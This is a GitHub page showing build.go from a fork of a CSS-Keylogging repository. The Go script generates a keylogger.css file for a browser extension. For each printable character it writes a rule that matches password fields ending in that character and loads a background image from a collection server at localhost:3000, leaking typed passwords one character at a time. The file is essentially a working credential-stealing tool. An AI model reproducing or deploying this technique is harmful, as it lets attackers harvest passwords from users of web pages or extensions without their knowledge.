forked from maxchehab/CSS-Keylogging
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathbuild.go
More file actions
33 lines (29 loc) · 681 Bytes
/
build.go
File metadata and controls
33 lines (29 loc) · 681 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main
import (
"fmt"
"log"
"net/url"
"os"
)
func main() {
fmt.Println("Building keylogger.css")
output, err := os.Create("./css-keylogger-extension/keylogger.css")
if err != nil {
log.Fatal("Cannot create output", err)
}
defer output.Close()
for c := 32; c < 128; c++ {
value := fmt.Sprintf("%c", c)
urlValue := url.QueryEscape(value)
if value == `"` {
value = `\"`
} else if value == `}` {
value = `\\}`
} else if value == `\` {
value = `\\`
}
fmt.Fprintf(output, `input[type="password"][value$="%v"] { background-image: url("http://localhost:3000/%v"); }`, value, urlValue)
fmt.Fprintf(output, "\n")
}
fmt.Println("Complete.")
}